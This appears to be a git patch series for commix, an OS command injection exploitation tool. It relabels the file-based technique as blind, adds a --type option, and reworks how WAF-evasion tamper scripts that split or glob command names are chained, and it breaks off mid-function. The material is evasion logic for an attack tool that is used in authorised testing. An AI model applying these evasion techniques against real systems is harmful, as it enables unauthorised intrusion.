utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. -* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables pour le shell et pour le code évalué, appliqués dans un ordre déterministe. +* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. * **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index e622ea3cb5..90b8dfd854 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -34,12 +34,12 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Τέσσερις τεχνικές εισαγωγής** - classic (βάσει αποτελεσμάτων), time-based (τυφλή), file-based (ημιτυφλή, με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. +* **Τέσσερις τεχνικές εισαγωγής** - classic (βάσει αποτελεσμάτων), time-based (τυφλή), file-based (τυφλή, με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. * **Εισαγωγή κώδικα** - ο διακόπτης `--eval` ελέγχει τη συμβολοσειρά που ο στόχος αποτιμά ως κώδικα, σε PHP ή Python, με τις ίδιες τέσσερις τεχνικές. * **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. * **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. * **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. -* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper) για το κέλυφος και για τον κώδικα που αξιολογείται, με ντετερμινιστική σειρά εφαρμογής. +* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. * **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. * **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. * **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index b139d786d3..84bb8be979 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -34,12 +34,12 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Empat teknik injeksi** - classic (berbasis hasil), time-based (buta), file-based (setengah buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Empat teknik injeksi** - classic (berbasis hasil), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. * **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. -* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan untuk shell maupun untuk kode yang dievaluasi, diterapkan dalam urutan yang deterministik. +* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. * **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index cdbb03427e..c974968423 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -34,12 +34,12 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Dört enjeksiyon tekniği** - classic (sonuç tabanlı), time-based (kör), file-based (yarı kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Dört enjeksiyon tekniği** - classic (sonuç tabanlı), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). * **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. -* **Filtre ve WAF atlatma** - kabuk ve değerlendirilen kod için birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. +* **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. * **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 395d298955..edc709592d 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -399,7 +399,7 @@ def finish_target(): def technique_names(letters, qualified=False): plain = {"c": "classic", "t": "time-based", "f": "file-based"} # How execution shows is worth spelling out where the point is which techniques exist at all. - shows = {"c": "results-based", "t": "blind", "f": "semi-blind"} + shows = {"c": "results-based", "t": "blind", "f": "blind"} chosen = [plain[_] + (" (" + shows[_] + ")" if qualified else "") for _ in ("c", "t", "f") if _ in letters] if not chosen: return "" @@ -1234,13 +1234,13 @@ def check_os_shell_options(cmd, filename, url): return cmd """ -Procced with file-based semiblind command injection technique, +Procced with file-based blind command injection technique, once the user provides the path of web server's root directory. """ def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option, " - message += "do you want to proceed with the (semi-blind) " + message += "do you want to proceed with the (blind) " message += "file-based injection technique? [y/N] " enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index e260e7f195..cde54624f2 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -526,7 +526,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m # The file proves execution either way - what the sink changes is only whether the command that # fills it is reached through a shell or through the string the target evaluates. eval_sink = bool(menu.options.eval_sink) - injection_type = settings.INJECTION_TYPE.SEMI_BLIND_CE if eval_sink else settings.INJECTION_TYPE.SEMI_BLIND + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.FILE_BASED # Prove the injection by a file the target writes and then serves back. def exploit(): @@ -891,7 +891,7 @@ def _ensure_time_warmup(): warn_msg += "ignoring the option '--failed-tries'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # Procced with file-based semiblind command injection technique, + # Procced with file-based blind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: menu.options.web_root = checks.normalize_target_dir(menu.options.web_root) diff --git a/src/core/techniques/file_based/fb_handler.py b/src/core/techniques/file_based/fb_handler.py index 37af0912f8..85b2578419 100755 --- a/src/core/techniques/file_based/fb_handler.py +++ b/src/core/techniques/file_based/fb_handler.py @@ -16,7 +16,7 @@ from src.core.controller import handler """ -The "file-based" technique on semiblind OS command injection. +The "file-based" technique on blind OS command injection. """ """ diff --git a/src/core/techniques/file_based/fb_injector.py b/src/core/techniques/file_based/fb_injector.py index d1735521a1..7405de2b5e 100755 --- a/src/core/techniques/file_based/fb_injector.py +++ b/src/core/techniques/file_based/fb_injector.py @@ -16,7 +16,7 @@ from src.core.controller import injector """ -The "file-based" technique on semiblind OS command injection. +The "file-based" technique on blind OS command injection. """ """ diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index 6a0df93d68..12521cd23f 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -14,7 +14,7 @@ """ """ -The "file-based" technique on semiblind OS command injection. +The "file-based" technique on blind OS command injection. The available "file-based" payloads. """ diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index 7973748e6a..ff2d64f1d8 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -19,7 +19,7 @@ from src.core.controller import checks """ -The "tempfile-based" injection technique on semiblind OS command injection. +The "tempfile-based" injection technique on blind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. """ @@ -41,9 +41,9 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time # The temporary file proves execution either way - which sink filled it is what the type names. if menu.options.eval_sink: - injection_type = settings.INJECTION_TYPE.SEMI_BLIND_CE + injection_type = settings.INJECTION_TYPE.BLIND_CE else: - injection_type = settings.INJECTION_TYPE.SEMI_BLIND + injection_type = settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED settings.BASELINE_TARGET = (url, http_request_method) # Taken before the technique says what it is testing, rather than in the middle of it: the model diff --git a/src/core/techniques/tempfile_based/tfb_injector.py b/src/core/techniques/tempfile_based/tfb_injector.py index b77d6b5329..b4dbac8f8b 100755 --- a/src/core/techniques/tempfile_based/tfb_injector.py +++ b/src/core/techniques/tempfile_based/tfb_injector.py @@ -16,7 +16,7 @@ from src.core.controller import injector """ -The "tempfile-based" injection technique on semiblind OS command injection. +The "tempfile-based" injection technique on blind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 5b049ba451..67a8a42cf7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -123,7 +123,14 @@ def technique_selection(technique_info, injection_type=None): if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: return settings.EVAL_CAPABLE_TECHNIQUES[0], True # Which sink was found is the stored type's to say: every other technique reaches either one. - return technique_letter(technique_info), injection_type in settings.EVAL_INJECTION_TYPES + return technique_letter(technique_info), stored_injection_type(injection_type) in settings.EVAL_INJECTION_TYPES + +""" +The type a stored finding is read back as: a spelling this version no longer writes is mapped to +the one that replaced it, so an older session reports what this run would have reported itself. +""" +def stored_injection_type(injection_type): + return settings.LEGACY_INJECTION_TYPES.get(injection_type, injection_type) """ Map stored technique names to their "--technique" menu letters. @@ -522,6 +529,7 @@ def apply_stored_technique(row): (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] + injection_type = stored_injection_type(injection_type) # Older sessions (pre-tamper-column) won't have this field - default to "". tamper = row[20] if len(row) > 20 else "" # Older sessions (pre-target_os-column) won't have this field either. diff --git a/src/utils/settings.py b/src/utils/settings.py index ffc8aaec28..32e282af26 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "139" +REVISION = "140" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1019,13 +1019,17 @@ class INJECTION_TYPE(object): RESULTS_BASED_CE = "results-based code injection" BLIND = "blind command injection" BLIND_CE = "blind code injection" - SEMI_BLIND = "semi-blind command injection" - SEMI_BLIND_CE = "semi-blind code injection" # The injection types that name a code-evaluation sink rather than a command one. What was found # is recorded as a type, so a stored finding is read back through this rather than through the # technique that found it - the same technique serves either sink. -EVAL_INJECTION_TYPES = (INJECTION_TYPE.RESULTS_BASED_CE, INJECTION_TYPE.BLIND_CE, INJECTION_TYPE.SEMI_BLIND_CE) +EVAL_INJECTION_TYPES = (INJECTION_TYPE.RESULTS_BASED_CE, INJECTION_TYPE.BLIND_CE) + +# Spellings that older sessions hold, before the file-based technique was reported as blind. +LEGACY_INJECTION_TYPES = { + "semi-blind command injection" : INJECTION_TYPE.BLIND, + "semi-blind code injection" : INJECTION_TYPE.BLIND_CE +} # Supported injection techniques class INJECTION_TECHNIQUE(object): From acf8e58eb889dce87bd7efeb88531900cd926a49 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 06:02:12 +0300 Subject: [PATCH 0801/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 39 +++++++++++++++++++++++++++++++ src/core/controller/controller.py | 1 + src/tamper/cmd2var.py | 35 +++++++++++++-------------- src/tamper/cmd2wildcard.py | 33 +++++++++++--------------- src/utils/settings.py | 16 ++++++++++--- 5 files changed, 85 insertions(+), 39 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index edc709592d..9bf465e635 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2283,6 +2283,45 @@ def interleave_char_tamper(payload, obf_char): # separator is whatever the payload was built with, a held-aside '${IFS}' among it. TAMPER_ASSIGNED_NAME = r"\b(?:for|read)(?:\s|" + SHELL_SPAN_HELD_REGEX + r")*$" +def tamper_shell_feature_note(): + """ + What a run that found nothing was asking of the target's shell, where it asked for more than a + plain one has. Such a target answers exactly as an unaffected one does, so nothing else in the + run distinguishes "not injectable" from "not injectable the way this script needs". + """ + applied = sorted(name for name in settings.SHELL_FEATURE_TAMPERS if settings.TAMPER_SCRIPTS.get(name)) + if not applied: + return "" + needs = " and ".join("'" + name + "' needs " + settings.SHELL_FEATURE_TAMPERS[name] for name in applied) + plural = len(applied) > 1 + return (" The tamper script" + ("s in use ask" if plural else " in use asks") + " more of the shell than a " + "strict POSIX one has (" + needs + "), and a target without it answers as if nothing were injectable.") + +def tamper_rewrite_user_command(payload, tamper_name): + """ + The user's command as every script that rewrites it leaves it, written into the payload once. + + Each of these used to reach back to the untouched payload when it could not find the command + where it expected it, which is what happens the moment another one has already rewritten it - + so whichever ran second threw the first one's work away and they could not be combined. The + chain is built here instead, in the order the scripts are listed, and only the first of them + still running writes it in; the rest find their own work already done. + """ + rewriters = [name for name in settings.COMMAND_REWRITERS if settings.TAMPER_SCRIPTS.get(name)] + if not rewriters or rewriters[0] != tamper_name: + return payload + command = settings.USER_APPLIED_CMD + for name in rewriters: + command = importlib.import_module("src.tamper." + name).rewrite_command(command) + if command == settings.USER_APPLIED_CMD: + return payload + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + payload = source.replace(settings.USER_APPLIED_CMD, command) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + def tamper_word_kept(word, preceding=""): """ Whether a word has to reach the target spelled exactly the way the payload wrote it. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index cde54624f2..386b33a832 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1470,6 +1470,7 @@ def do_check(url, http_request_method, filename): err_msg += " and/or" err_msg += " switch '--random-agent'" err_msg += "." + err_msg += checks.tamper_shell_feature_note() if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/tamper/cmd2var.py b/src/tamper/cmd2var.py index 70ef79d5b3..0a3e415324 100644 --- a/src/tamper/cmd2var.py +++ b/src/tamper/cmd2var.py @@ -14,6 +14,7 @@ """ import random +import re import string from src.utils import settings from src.core.controller import checks @@ -52,26 +53,26 @@ def _split_name(name): at = random.randint(1, len(name) - 1) return "${" + _variable_name() + ":-" + name[:at] + "}${" + _variable_name() + ":-" + name[at:] + "}" -# Hand the command's name over in pieces, for the target's shell to fall back on and put together. +# A name already carrying a glob is left whole - splitting it would cut a bracket in two. +GLOBBED_NAME = r"[*?\[\]]" + +# The command with its name carried in pieces, for the target's shell to put back together. +def rewrite_command(command): + name = command.split(settings.SINGLE_WHITESPACE)[0] + # A name of one character cannot be split, a keyword stops being one once it is written any + # other way, and a glob has already hidden the name it was made from. + if len(name) < 2 or checks.tamper_word_kept(name) or re.search(GLOBBED_NAME, name): + warn_msg = "The '" + __tamper__ + ".py' tamper script cannot split the name of the '" + warn_msg += command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return command + return _split_name(name) + command[len(name):] + +# Hand the command's name over in pieces, alongside whatever else rewrites the command. def tamper(payload): # The exploitation phase reaches here before there is a command of the user's own to rewrite. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: - name = settings.USER_APPLIED_CMD.split(settings.SINGLE_WHITESPACE)[0] - # A name of one character cannot be split, and a keyword stops being one once it is written - # any other way - either leaves the command as it was rather than breaking it. - if len(name) < 2 or checks.tamper_word_kept(name): - warn_msg = "The '" + __tamper__ + ".py' tamper script cannot split the name of the '" - warn_msg += settings.USER_APPLIED_CMD + "' command. Skipping tamper script." - settings.print_once(warn_msg) - return payload - var_cmd = _split_name(name) + settings.USER_APPLIED_CMD[len(name):] - source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD - if settings.USER_APPLIED_CMD in source: - # Applied to the payload as handed over, not to the untouched original: the scripts run in - # order, and reaching back past the ones before would throw their work away. - payload = source.replace(settings.USER_APPLIED_CMD, var_cmd) - if len(settings.WHITESPACES) != 0: - payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return checks.tamper_rewrite_user_command(payload, __tamper__) return payload # eof diff --git a/src/tamper/cmd2wildcard.py b/src/tamper/cmd2wildcard.py index 24fe5e3785..5c031b6775 100644 --- a/src/tamper/cmd2wildcard.py +++ b/src/tamper/cmd2wildcard.py @@ -56,27 +56,22 @@ def _wildcard_path(match): parts = path.split("/") return "/".join(part if not part[:1].isalnum() else "[" + part[0] + "]" + part[1:] for part in parts) -# Hand the command over with its paths spelled as globs, for the target to match back to the file. +# The command with its paths spelled as globs, for the target to match back to the file. +def rewrite_command(command): + wildcard_cmd = re.sub(WILDCARD_PATH, _wildcard_path, command) + # A command naming no path of its own has nothing here that a glob could stand in for, and + # saying so once is worth more than leaving the script looking like it did something. + if wildcard_cmd == command: + warn_msg = "The '" + __tamper__ + ".py' tamper script found no path to hide in the '" + warn_msg += command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return wildcard_cmd + +# Hand the command over with its paths spelled as globs, alongside whatever else rewrites it. def tamper(payload): - # A command of the user's own is what this script rewrites, and the exploitation phase reaches - # here before there is one - replaying a delay against a random value, say. There is nothing to - # say about a command that has not been asked for yet. + # The exploitation phase reaches here before there is a command of the user's own to rewrite. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: - wildcard_cmd = re.sub(WILDCARD_PATH, _wildcard_path, settings.USER_APPLIED_CMD) - # A command naming no path of its own has nothing here that a glob could stand in for, and - # saying so once is worth more than leaving the script looking like it did something. - if wildcard_cmd == settings.USER_APPLIED_CMD: - warn_msg = "The '" + __tamper__ + ".py' tamper script found no path to hide in the '" - warn_msg += settings.USER_APPLIED_CMD + "' command. Skipping tamper script." - settings.print_once(warn_msg) - return payload - source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD - if settings.USER_APPLIED_CMD in source: - # Applied to the payload as handed over, not to the untouched original: the scripts run in - # order, and reaching back past the ones before would throw their work away. - payload = source.replace(settings.USER_APPLIED_CMD, wildcard_cmd) - if len(settings.WHITESPACES) != 0: - payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return checks.tamper_rewrite_user_command(payload, __tamper__) return payload # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 32e282af26..f1b874c63b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "140" +REVISION = "141" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1547,6 +1547,17 @@ class PRIORITY(object): # Set when the evasion was just stepped up, so the technique that was blocked is tried again. WAF_EVASION_ESCALATED = False +# Scripts that rewrite the user's command in place, in the order their rewrites are applied. The +# paths go first, so that what the name-splitting script is handed is a name and not a glob. +COMMAND_REWRITERS = ("cmd2wildcard", "cmd2var") + +# Scripts asking more of the target's shell than POSIX gives, and what each one asks for. A run +# carrying one of these and finding nothing may have found nothing because the shell is a plain one. +SHELL_FEATURE_TAMPERS = { + "space2brace": "brace expansion", + "ansiquote": "ANSI-C quoting" +} + INCOMPATIBLE_TAMPER_SCRIPTS = [ # "\$" is a literal "$", so the escape kills the other script's "$@" / "${XX}". ("backslashes", "dollaratsigns"), @@ -1571,8 +1582,7 @@ class PRIORITY(object): ("cmd2wildcard", "rev"), ("cmd2wildcard", "randomcase"), ("cmd2var", "rev"), - ("cmd2var", "randomcase"), - ("cmd2var", "cmd2wildcard") + ("cmd2var", "randomcase") ] # Words that must survive per-character obfuscation - shell keywords stop being keywords once From 6841c1ed3b79cfa152c6425224d463604a466208 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 07:41:02 +0300 Subject: [PATCH 0802/1023] Added `--type` to select injection techniques by reported injection type (`c` for classic, `b` for blind), and renamed the classic technique to results-based, updating `--technique` to use `r`, `t`, and `f`. --- README.md | 2 +- doc/CHANGELOG.md | 6 +- src/core/controller/checks.py | 237 +++++++++++++++--- src/core/controller/controller.py | 13 +- src/core/controller/handler.py | 80 ++++-- src/core/controller/injector.py | 107 +++++++- src/core/main.py | 54 +--- src/core/parse/cmdline.py | 6 + src/core/requests/headers.py | 25 +- src/core/requests/requests.py | 24 +- src/core/requests/stability.py | 6 + src/core/techniques/classic/cb_payloads.py | 8 +- src/core/techniques/file_based/fb_injector.py | 6 + src/core/techniques/file_based/fb_payloads.py | 12 +- src/core/techniques/oob/oob_payloads.py | 19 +- .../techniques/tempfile_based/tfb_payloads.py | 16 +- src/core/techniques/time_based/tb_payloads.py | 42 ++-- src/utils/common.py | 6 +- src/utils/session_handler.py | 1 + src/utils/settings.py | 54 +++- 20 files changed, 541 insertions(+), 183 deletions(-) diff --git a/README.md b/README.md index bed752fe91..873faf84f2 100644 --- a/README.md +++ b/README.md @@ -33,7 +33,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features -* **Four injection techniques** - classic (results-based), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. +* **Four injection techniques** - results-based (classic), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. * **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index bb12efccdd..219bf4be70 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,7 @@ ## Version 4.2 (TBA) -* Revised: The file-based technique is now reported as a "blind" injection type. +* Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind). +* Revised: Renamed the "classic" technique to "results-based", after how its result comes back, so `--technique` now takes the letters `r`, `t` and `f` (e.g. `--technique="rtf"`). +* Revised: The "file-based" technique is now reported as a "blind" injection type. * Added: New tamper script `phphexname.py`, that runs the command through a PHP function named in hex. * Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload. * Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. @@ -8,7 +10,7 @@ * Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. * Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk ($*) between the characters in a given payload. * Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. -* Added: Code injection support for Python as well as PHP, across all techniques. +* Added: Code injection now supports Python as well as PHP, over every technique. * Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. * Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. * Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 9bf465e635..113d7fe666 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -159,11 +159,7 @@ def get_response(output): headers.do_check(request) response = headers.check_http_traffic(request) if response is None: - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = headers.resend(request) return response """ @@ -397,10 +393,10 @@ def finish_target(): run did not look at, and which techniques can reach a sink at all. """ def technique_names(letters, qualified=False): - plain = {"c": "classic", "t": "time-based", "f": "file-based"} - # How execution shows is worth spelling out where the point is which techniques exist at all. - shows = {"c": "results-based", "t": "blind", "f": "blind"} - chosen = [plain[_] + (" (" + shows[_] + ")" if qualified else "") for _ in ("c", "t", "f") if _ in letters] + plain = {"r": "results-based", "t": "time-based", "f": "file-based"} + # The sink is worth spelling out where the point is which techniques exist at all. + shows = {"r": "results-based", "t": "blind", "f": "blind"} + chosen = [plain[_] + (" (" + shows[_] + ")" if qualified else "") for _ in ("r", "t", "f") if _ in letters] if not chosen: return "" name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] @@ -408,7 +404,7 @@ def technique_names(letters, qualified=False): # The techniques this run was told to leave out, named for the message that says so. def untested_techniques(): - return technique_names([_ for _ in ("c", "t", "f") if _ not in menu.options.tech]) + return technique_names([_ for _ in ("r", "t", "f") if _ not in menu.options.tech]) """ The payload builder the time-based technique uses: the same technique reaches either sink, and what @@ -1723,6 +1719,132 @@ def identified_os(): elif proceed_option == "q": raise SystemExit() +""" +The tamper scripts the user named, rejected here if any of them names nothing. + +Run before the target is touched: an option that cannot be acted on is the user's to correct, and +leaving it until the payloads are built costs a connection test and a WAF probe to find out. +""" +def validate_tamper_scripts(): + if not menu.options.tamper: + return [] + raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) + provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) + available_scripts = [os.path.basename(script.split(".py")[0]) + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py")))] + for script in provided_scripts: + if script not in available_scripts: + err_msg = "The '" + script + "' tamper script does not exist. " + err_msg += "Use the '--list-tampers' switch for listing available tamper scripts." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: + if first in provided_scripts and second in provided_scripts: + err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + return 